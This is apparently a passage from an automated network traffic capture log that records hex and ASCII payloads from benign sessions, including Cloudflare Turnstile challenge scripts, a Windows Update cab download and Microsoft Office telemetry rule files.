2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 65 26 26 64 5b 69 52 28 34 33 37 29 5d 28 65 5b 69 52 28 31 36 30 35 29 5d 2c 69 52 28 31 31 37 39 29 29 26 26 65 5b 69 52 28 34 35 37 29 5d 3d 3d 3d 69 52 28 31 35 39 38 29 26 26 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 67 33 29 7d 29 2c 67 35 3d 21 5b 5d 2c 21 66 79 28 67 49 28 35 39 36 29 29 26 26 28 67 77 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 6a 79 2c 63 2c 64 2c 65 29 7b 6a 79 3d 67 49 2c 63 3d 7b 27 42 6c 62 41 78 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 53 4f 51 55 45 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 67 7d 2c 27 49 42 47 50 44 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 7d 2c 64 3d 65 4d 5b 6a 79 Data Ascii: e&&d[iR(437)](e[iR(1605)],iR(1179))&&e[iR(457)]===iR(1598)&&clearInterval(g3)}),g5=![],!fy(gI(596))&&(gw(),setInterval(function(jy,c,d,e){jy=gI,c={'BlbAx':function(f){return f()},'SOQUE':function(f,g){return f>g},'IBGPD':function(f,g){return f-g}},d=eM[jy
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 29 5d 5b 6a 46 28 31 32 32 31 29 5d 28 6e 65 77 20 67 5b 28 6a 46 28 31 36 38 37 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 47 2c 48 29 7b 66 6f 72 28 6a 47 3d 6a 46 2c 47 5b 6a 47 28 31 39 32 30 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 6a 47 28 31 37 37 31 29 5d 3b 47 5b 48 2b 31 5d 3d 3d 3d 47 5b 48 5d 3f 47 5b 6a 47 28 31 38 34 35 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 6a 46 28 31 39 33 32 29 5d 5b 6a 46 28 31 38 31 35 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 6a 46 28 31 39 33 33 29 5d 28 43 2c 78 5b 6a 46 28 31 37 37 31 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 67 42 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 45 Data Ascii: )][jF(1221)](new g[(jF(1687))](x)):function(G,jG,H){for(jG=jF,G[jG(1920)](),H=0;H<G[jG(1771)];G[H+1]===G[H]?G[jG(1845)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[jF(1932)][jF(1815)](B),C=0;o[jF(1933)](C,x[jF(1771)]);D=x[C],E=gB(g,h,D),B(E)?(F=E
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 27 2b 30 2c 6c 3d 6c 5b 6a 49 28 31 38 32 31 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 2c 6a 4a 29 7b 6a 4a 3d 6a 49 2c 68 5b 6a 4a 28 35 37 39 29 5d 28 68 5b 6a 4a 28 31 31 39 34 29 5d 2c 68 5b 6a 4a 28 31 31 39 34 29 5d 29 3f 6a 5e 3d 6c 5b 6a 4a 28 31 38 30 39 29 5d 28 73 29 3a 6c 28 66 2c 30 29 7d 29 2c 66 3d 65 4d 5b 6a 49 28 31 36 33 30 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 6a 49 28 31 38 30 39 29 5d 28 2b 2b 69 29 29 3b 6b 5b 6a 49 28 36 39 37 29 5d 28 53 74 72 69 6e 67 5b 6a 49 28 35 39 37 29 5d 28 28 28 6d 26 32 35 35 29 2d 6a 2d 69 25 36 35 35 33 35 2b 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 6a 49 28 31 38 35 33 29 5d 28 27 27 29 7d 2c 66 75 6e 63 74 69 6f Data Ascii: '+0,l=l[jI(1821)](/./g,function(n,s,jJ){jJ=jI,h[jJ(579)](h[jJ(1194)],h[jJ(1194)])?j^=l[jJ(1809)](s):l(f,0)}),f=eM[jI(1630)](f),k=[],i=-1;!isNaN(m=f[jI(1809)](++i));k[jI(697)](String[jI(597)](((m&255)-j-i%65535+65535)%255)));return k[jI(1853)]('')},functio
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 78 52 51 4f 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 46 59 46 51 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4c 75 65 56 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 67 73 62 4e 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 5a 54 77 71 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 68 63 6f 77 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 58 76 69 68 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d Data Ascii: eturn i==h},'xRQOI':function(h,i){return h(i)},'FYFQx':function(h,i){return h-i},'LueVV':function(h,i){return h(i)},'gsbNJ':function(h,i){return h(i)},'ZTwqE':function(h,i){return h==i},'hcowu':function(h,i){return h!=i},'XvihB':function(h,i){return h(i)}
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 69 66 28 64 5b 6a 4d 28 37 35 32 29 5d 28 6a 4d 28 37 36 34 29 2c 64 5b 6a 4d 28 31 37 31 35 29 5d 29 29 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 64 5b 6a 4d 28 31 30 33 34 29 5d 28 78 2c 47 29 3b 49 3d 64 5b 6a 4d 28 31 31 37 30 29 5d 28 49 3c 3c 31 2e 38 37 2c 4e 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 6a 4d 28 36 39 37 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 6a 4d 28 31 38 30 39 29 5d 28 30 29 2c 78 3d 30 3b 31 36 3e 78 3b 49 3d 64 5b 6a 4d 28 37 36 32 29 5d 28 49 3c 3c 31 2c 4e 26 31 2e 33 36 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 6a 4d 28 36 39 37 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 Data Ascii: if(d[jM(752)](jM(764),d[jM(1715)])){for(N=1,x=0;d[jM(1034)](x,G);I=d[jM(1170)](I<<1.87,N),J==j-1?(J=0,H[jM(697)](o(I)),I=0):J++,N=0,x++);for(N=D[jM(1809)](0),x=0;16>x;I=d[jM(762)](I<<1,N&1.36),J==j-1?(J=0,H[jM(697)](o(I)),I=0):J++,N>>=1,x++);}else return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49751	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:10 UTC	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cf06f8de9fd0ca5-EWR
2024-10-07 19:53:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49750	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+FtNUvbVAH84w3R&MD=FtAmOZP9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 19:53:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2e62d336-50af-4628-b56a-2d05e70b96a4 MS-RequestId: 7c3a25bd-dadc-4801-9c53-d026a86433cb MS-CV: GDGep6pAAUi9ItmO.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 19:53:10 GMT Connection: close Content-Length: 24490
2024-10-07 19:53:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-07 19:53:10 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49752	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195310Z-1657d5bbd48xsz2nuzq4vfrzg800000003rg00000000tadm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49753	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195310Z-1657d5bbd48sqtlf1huhzuwq7000000003qg00000000bqnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49756	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195310Z-1657d5bbd482lxwq1dp2t1zwkc00000003sg00000000524a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49754	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195310Z-1657d5bbd48xsz2nuzq4vfrzg800000003wg000000003tbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49755	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195310Z-1657d5bbd48dfrdj7px744zp8s00000003s0000000007hxu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49759	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf06f880e728cca&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:10 UTC	301	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115317 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cf06f929f530fa5-EWR
2024-10-07 19:53:10 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
